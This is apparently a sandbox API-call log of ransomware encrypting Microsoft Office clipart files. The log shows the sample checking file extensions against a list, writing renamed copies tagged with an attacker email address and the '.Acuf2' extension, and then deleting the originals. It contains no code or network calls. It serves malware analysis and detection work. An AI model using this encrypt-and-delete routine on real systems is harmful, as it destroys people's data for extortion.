	[0259.700] lstrlenW (lpString=".dbf") returned 4
	[0259.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63
	[0259.700] lstrlenW (lpString=".1cd") returned 4
	[0259.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63
	[0259.700] lstrlenW (lpString=".jpg") returned 4
	[0259.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63
	[0259.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63
	[0259.700] lstrlenW (lpString=".doc") returned 4
	[0259.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.700] lstrlenW (lpString=".docx") returned 5
	[0259.700] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.700] lstrlenW (lpString=".pdf") returned 4
	[0259.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.700] lstrlenW (lpString=".xls") returned 4
	[0259.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.700] lstrlenW (lpString=".xlsx") returned 5
	[0259.700] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.700] lstrlenW (lpString=".ppt") returned 4
	[0259.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63
	[0259.701] lstrlenW (lpString=".zip") returned 4
	[0259.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.701] lstrlenW (lpString=".rar") returned 4
	[0259.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.701] lstrlenW (lpString=".bz2") returned 4
	[0259.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.701] lstrlenW (lpString=".7z") returned 3
	[0259.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63
	[0259.701] lstrlenW (lpString=".dbf") returned 4
	[0259.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63
	[0259.701] lstrlenW (lpString=".1cd") returned 4
	[0259.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63
	[0259.701] lstrlenW (lpString=".jpg") returned 4
	[0259.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.701] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.701] lstrlenW (lpString="BS01080_.WMF") returned 12
	[0259.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0259.702] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2732) returned 1
	[0259.702] CloseHandle (hObject=0x338) returned 1
	[0259.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x20
	[0259.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0259.702] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.702] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.702] GetLastError () returned 0x0
	[0259.702] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xaac, lpOverlapped=0x0) returned 1
	[0259.810] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xab0, lpOverlapped=0x0) returned 1
	[0259.810] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.810] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.811] SetEndOfFile (hFile=0x330) returned 1
	[0259.811] CloseHandle (hObject=0x330) returned 1
	[0259.811] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.811] SetEndOfFile (hFile=0x338) returned 1
	[0259.818] CloseHandle (hObject=0x338) returned 1
	[0259.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 1
	[0259.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63
	[0259.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63
	[0259.838] lstrlenW (lpString=".doc") returned 4
	[0259.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.838] lstrlenW (lpString=".docx") returned 5
	[0259.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.839] lstrlenW (lpString=".pdf") returned 4
	[0259.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.839] lstrlenW (lpString=".xls") returned 4
	[0259.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.839] lstrlenW (lpString=".xlsx") returned 5
	[0259.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.839] lstrlenW (lpString=".ppt") returned 4
	[0259.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63
	[0259.839] lstrlenW (lpString=".zip") returned 4
	[0259.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.839] lstrlenW (lpString=".rar") returned 4
	[0259.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.839] lstrlenW (lpString=".bz2") returned 4
	[0259.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.839] lstrlenW (lpString=".7z") returned 3
	[0259.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63
	[0259.839] lstrlenW (lpString=".dbf") returned 4
	[0259.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63
	[0259.839] lstrlenW (lpString=".1cd") returned 4
	[0259.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63
	[0259.839] lstrlenW (lpString=".jpg") returned 4
	[0259.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63
	[0259.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63
	[0259.839] lstrlenW (lpString=".doc") returned 4
	[0259.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.839] lstrlenW (lpString=".docx") returned 5
	[0259.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.840] lstrlenW (lpString=".pdf") returned 4
	[0259.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.840] lstrlenW (lpString=".xls") returned 4
	[0259.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.840] lstrlenW (lpString=".xlsx") returned 5
	[0259.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.840] lstrlenW (lpString=".ppt") returned 4
	[0259.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63
	[0259.840] lstrlenW (lpString=".zip") returned 4
	[0259.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.840] lstrlenW (lpString=".rar") returned 4
	[0259.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.840] lstrlenW (lpString=".bz2") returned 4
	[0259.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.840] lstrlenW (lpString=".7z") returned 3
	[0259.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63
	[0259.840] lstrlenW (lpString=".dbf") returned 4
	[0259.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63
	[0259.840] lstrlenW (lpString=".1cd") returned 4
	[0259.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63
	[0259.840] lstrlenW (lpString=".jpg") returned 4
	[0259.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.840] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.841] lstrlenW (lpString="CLASSIC2.WMF") returned 12
	[0259.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.841] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2262) returned 1
	[0259.841] CloseHandle (hObject=0x330) returned 1
	[0259.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 0x20
	[0259.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.841] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.841] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.842] GetLastError () returned 0x0
	[0259.842] ReadFile (in: hFile=0x330, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x8d6, lpOverlapped=0x0) returned 1
	[0259.861] WriteFile (in: hFile=0x220, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x8e0, lpOverlapped=0x0) returned 1
	[0259.861] ReadFile (in: hFile=0x330, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.861] WriteFile (in: hFile=0x220, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.862] SetEndOfFile (hFile=0x220) returned 1
	[0259.862] CloseHandle (hObject=0x220) returned 1
	[0259.862] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.862] SetEndOfFile (hFile=0x330) returned 1
	[0259.864] CloseHandle (hObject=0x330) returned 1
	[0259.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 1
	[0259.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63
	[0259.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63
	[0259.926] lstrlenW (lpString=".doc") returned 4
	[0259.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.926] lstrlenW (lpString=".docx") returned 5
	[0259.926] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0259.926] lstrlenW (lpString=".pdf") returned 4
	[0259.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.926] lstrlenW (lpString=".xls") returned 4
	[0259.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.926] lstrlenW (lpString=".xlsx") returned 5
	[0259.926] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0259.926] lstrlenW (lpString=".ppt") returned 4
	[0259.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63
	[0259.926] lstrlenW (lpString=".zip") returned 4
	[0259.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.926] lstrlenW (lpString=".rar") returned 4
	[0259.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.926] lstrlenW (lpString=".bz2") returned 4
	[0259.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.926] lstrlenW (lpString=".7z") returned 3
	[0259.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63
	[0259.927] lstrlenW (lpString=".dbf") returned 4
	[0259.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63
	[0259.927] lstrlenW (lpString=".1cd") returned 4
	[0259.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63
	[0259.927] lstrlenW (lpString=".jpg") returned 4
	[0259.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63
	[0259.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63
	[0259.927] lstrlenW (lpString=".doc") returned 4
	[0259.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.927] lstrlenW (lpString=".docx") returned 5
	[0259.927] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0259.927] lstrlenW (lpString=".pdf") returned 4
	[0259.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.927] lstrlenW (lpString=".xls") returned 4
	[0259.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.927] lstrlenW (lpString=".xlsx") returned 5
	[0259.927] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0259.927] lstrlenW (lpString=".ppt") returned 4
	[0259.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63
	[0259.927] lstrlenW (lpString=".zip") returned 4
	[0259.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.927] lstrlenW (lpString=".rar") returned 4
	[0259.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.927] lstrlenW (lpString=".bz2") returned 4
	[0259.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.928] lstrlenW (lpString=".7z") returned 3
	[0259.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63
	[0259.928] lstrlenW (lpString=".dbf") returned 4
	[0259.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63
	[0259.928] lstrlenW (lpString=".1cd") returned 4
	[0259.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63
	[0259.928] lstrlenW (lpString=".jpg") returned 4
	[0259.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.928] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.928] lstrlenW (lpString="DD00117_.WMF") returned 12
	[0259.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0259.929] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=31122) returned 1
	[0259.929] CloseHandle (hObject=0x354) returned 1
	[0259.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x20
	[0259.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0259.930] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.930] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0259.930] GetLastError () returned 0x0
	[0259.930] ReadFile (in: hFile=0x354, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x7992, lpOverlapped=0x0) returned 1
	[0259.964] WriteFile (in: hFile=0x350, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x79a0, lpOverlapped=0x0) returned 1
	[0259.965] ReadFile (in: hFile=0x354, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.965] WriteFile (in: hFile=0x350, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.965] SetEndOfFile (hFile=0x350) returned 1
	[0259.965] CloseHandle (hObject=0x350) returned 1
	[0259.965] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.965] SetEndOfFile (hFile=0x354) returned 1
	[0259.967] CloseHandle (hObject=0x354) returned 1
	[0259.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 1
	[0259.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63
	[0259.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63
	[0259.968] lstrlenW (lpString=".doc") returned 4
	[0259.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.968] lstrlenW (lpString=".docx") returned 5
	[0259.968] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.968] lstrlenW (lpString=".pdf") returned 4
	[0259.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.968] lstrlenW (lpString=".xls") returned 4
	[0259.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.968] lstrlenW (lpString=".xlsx") returned 5
	[0259.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.968] lstrlenW (lpString=".ppt") returned 4
	[0259.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63
	[0259.968] lstrlenW (lpString=".zip") returned 4
	[0259.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.968] lstrlenW (lpString=".rar") returned 4
	[0259.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.969] lstrlenW (lpString=".bz2") returned 4
	[0259.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.969] lstrlenW (lpString=".7z") returned 3
	[0259.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63
	[0259.969] lstrlenW (lpString=".dbf") returned 4
	[0259.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63
